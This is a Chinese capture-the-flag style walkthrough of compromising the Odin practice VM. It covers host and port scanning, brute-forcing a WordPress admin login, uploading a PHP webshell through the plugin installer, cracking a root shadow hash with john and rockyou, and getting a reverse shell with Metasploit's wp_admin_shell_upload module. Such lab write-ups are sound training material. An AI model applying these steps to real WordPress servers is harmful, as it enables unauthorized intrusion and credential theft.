Odin靶机WriteUp

本文最后更新于:2021年5月21日晚上7点25分

攻击前准备:

启动靶机,配置kali虚拟机与靶机的网卡,确保两台主机桥接至同一块网卡。

本篇WriteUp环境介绍:

kali虚拟机:192.168.56.101

靶机:192.168.56.108

正式攻击:

其实在攻击前,是不知道靶机的具体ip的,因此可以使用下方命令探测局域网下存活的主机

1
arp-scan -l

image-20201215152132884

因此:靶机的ip为:192.168.56.108

再接着使用nmap工具,探测端口以及主机所启动的一些服务。

1
nmap -O -A 192.168.56.108

image-20201215152400717

从中获取到信息有,服务器仅开启了80端口,80端口上开了WordPress服务,使用的系统为Ubuntu,网站使用了Apache服务。

使用浏览器打开,界面如下图所示:

image-20201215152708045

刚刚上面获取到信息有,这个博客是用WordPress搭建的,但是整个网页排版乱七八糟的。随便点开一个超链接,无法正常访问,如下图。

image-20201215152837232

可以猜测,上方排版杂乱无章,是因为网页上的css和js没有被正确的链接,而没有被正确的链接的原因就是,服务器找不到odin这个主机。

因此修改kali主机里的host文件,使浏览器向odin发起的请求全部转为向靶机(192.168.56.108)的请求

下方编辑/etc/hosts文件

1
nano /etc/hosts      #当然也可以使用vim等其他编辑器

image-20201215153243988

添加靶机 odin的规则

保存后退出

再重新访问浏览器,发现该有的样式都有了。

image-20201215153425481

因为是使用的WordPress搭建的,因此猜测后台有wp-admin登录界面。

在浏览器访问:靶机/wp-admin

如:192.168.56.108/wp-admin

image-20201215153529334

接下来使用burpsuite进行爆破

具体爆破过程就不展示了,这边直接给出爆破结果

账号是:admin;密码是:qwerty

image-20201215153720755

这样就进入到了后台管理界面,可以看到,此时登录用户就是管理员

接下来可以尝试通过上传插件的方式将我们的一句话木马插入到根目录中

image-20201215153954245

点击install now 即可,虽然安装会不成功,但是php文件确确实实被上传到了服务器目录下

根据WordPress上传媒体的命名习惯

这一句话木马文件应该是被存储到了:192.168.56.108/wp-content/uploads/2020/12/一句话木马.php

image-20201215154351736

可以看到一句话木马已经被解析了,现在可以使用中国蚁剑或者菜刀工具连接。

image-20201215154659558

接下来查看网站主页:发现了一堆可能是加密后的密文的东西

1
2
3
MFZC4Z32EBZG6Y3LPFXXKIDONFRWKIDXN5ZGI3DJON2AU===
base32解密后:
ar.gz rockyou nice wordlist
1
2
3
SWYgeW91IGxvb2sgY2xvc2VseSwgeW91IHdvbid0IG5lZWQgaXQgaGVyZQo=
base64解密后:
If you look closely, you won't need it here

然后翻查WordPress目录下,看到了在/var/www/html/wp-config.php文件的最后,有一行root的影子文件。

image-20201215163055220

1
/** root:$6$e9hWlnuTuxApq8h6$ClVqvF9MJa424dmU96Hcm6cvevBGP1OaHbWg//71DVUF1kt7ROW160rv9oaL7uKbDr2qIGsSxMmocdudQzjb01:18600:0:99999:7:::*/

这一串东西的配置规则是:

1
2
root:$6$7vXyCOws$Hp/xoGf50Kov51cy83h6CTYoQerInkAFWWYZL22640N6P0kgy9Gfy4NVndDa1hNUevqR122E7ykmA1BIIOg0C.:16821:0:99999:7:::
用户名:加密密码:上次更改密码的时间:最小更改密码间隔:密码有效期限:密码过期提示时间:密码锁定期:账户有效期:保留字段

题目提示:使用rockyou字典(/usr/share/wordlist)

1
cd /usr/share/wordlist

因此将下方这一串东西保存至一个文件中,这边命名为1

1
$6$e9hWlnuTuxApq8h6$ClVqvF9MJa424dmU96Hcm6cvevBGP1OaHbWg//71DVUF1kt7ROW160rv9oaL7uKbDr2qIGsSxMmocdudQzjb01

使用gunzip将rockyou字典解压出来

1
gunzip rockyou.txt.gz

解压出来之后,使用john工具,用John工具对文件1中的内容进行爆破

1
john --wordlist=rockyou.txt 1&&john --show 1

image-20201215180635975

到这一步,就已经把root用户的密码爆破出来了,账号是root,密码是jasmine

因此可以使用账号密码在靶机上成功登陆

但是,在实际情况中,我们在kali机中登录靶机,一般会使用ssh工具进行连接,可是对于这一台服务器,他并没有对外开放ssh的端口,所以无法在kali机中直接获得root权限。

这就好比,你拥有一把钥匙,你也知道这把钥匙可以开哪个门,但是你不能到这个门口去。

所以想要在kali机中获得root权限,或许可以使用服务器中WordPress的漏洞,通过WordPress进行提权。

这时候可以使用msfconsole这个工具

1
msfconsole      #在命令行中打开这个工具

启动完成后的页面如图所示:

image-20201215181927629

可以试着搜索一下有关wp的漏洞

1
search wp_

如下图,展示了这么多漏洞

image-20201215182018283

1
2
3
4
5
6
use exploit/unix/webapp/wp_admin_shell_upload
show options
set password qwerty
set username admin
set targeturi ''
set lhost 192.168.56.102 #本地ip

设置好相关参数之后,exploit执行

image-20201215190348227

反弹一个会话

1
shell

image-20201215190416382

用shell连接会话

查看当前用户

image-20201215190440601

使用su,用root的账号密码进行登录

1
su

image-20201215190541093

这个时候就拿到了root权限,并且可以在kali中执行相应的命令。

后记:

前面通过蚁剑连接的时候,已经获得webshell,但是在蚁剑的虚拟终端中是无法使用su命令的,也就是没有办法通过蚁剑获取root权限

image-20201215191308284


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!